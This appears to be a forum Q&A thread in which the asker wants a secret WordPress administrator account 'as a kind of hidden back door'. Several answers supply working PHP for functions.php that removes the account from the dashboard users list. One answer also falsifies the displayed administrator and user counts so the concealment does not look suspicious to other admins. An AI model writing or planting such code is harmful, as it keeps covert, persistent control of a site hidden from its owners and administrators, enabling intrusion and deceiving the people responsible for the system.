8
votes

I'd like to create an admin user in Wordpress and then hide it from the users list in the wordpress dashboard, as a kind of hidden back door. I am not trying to hide all admins, only a particular one.

Any help is greatly appreciated.

5

5 Answers

16
votes

You can do this with a custom function in your functions.php. Here is an example :

add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;

  if ($username == '<USERNAME OF OTHER ADMIN>') { 
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != '<YOUR USERNAME>'",$user_search->query_where);
  }
}

Or you can use a plugin for this; http://wordpress.org/plugins/user-role-editor/

14
votes

Combining the answer of "angezanetti", the question of "Natalia" and the response of "user3474007" to Natalia, this code will hide the user from all other users (including admins).

add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;

  if ($username != 'hiddenuser') { 
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != 'hiddenuser'",$user_search->query_where);
  }
}
11
votes

There is a very good solution by angezanetti, but even when hiddenuser is hidden from Administrators list, the total number of admins shown is still unchanged and it can be suspicious for someone. I took the code by Symbolwdd and added lines for correct displayed number of admins:

add_action('pre_user_query','dt_pre_user_query');
function dt_pre_user_query($user_search) {
   global $current_user;
   $username = $current_user->user_login;

   if ($username != 'hiddenuser') {
      global $wpdb;
      $user_search->query_where = str_replace('WHERE 1=1',
         "WHERE 1=1 AND {$wpdb->users}.user_login != 'hiddenuser'",$user_search->query_where);
   }
}

add_filter("views_users", "dt_list_table_views");
function dt_list_table_views($views){
   $users = count_users();
   $admins_num = $users['avail_roles']['administrator'] - 1;
   $all_num = $users['total_users'] - 1;
   $class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
   $class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
   $views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
   $views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
   return $views;
}
2
votes

I know, an old topic but someone sent me this link today..

One update: The hook is no longer pre_user_query BUT wp_user_query instead.

Also, with this method you're hiding your account from this particular admin account alone. Not all. What if another admin is added later on?

What I'd do is to hide the 'secret' account from anyone, except for themselves (in order to be able to edit it).

2
votes

@Natalia - If you want to block all other admins to see your account, just change

if ($username == '<USERNAME OF OTHER ADMIN>') { 

with

if ($username != '<YOUR USERNAME>') { 

This way you hide your account to all other accounts but yours.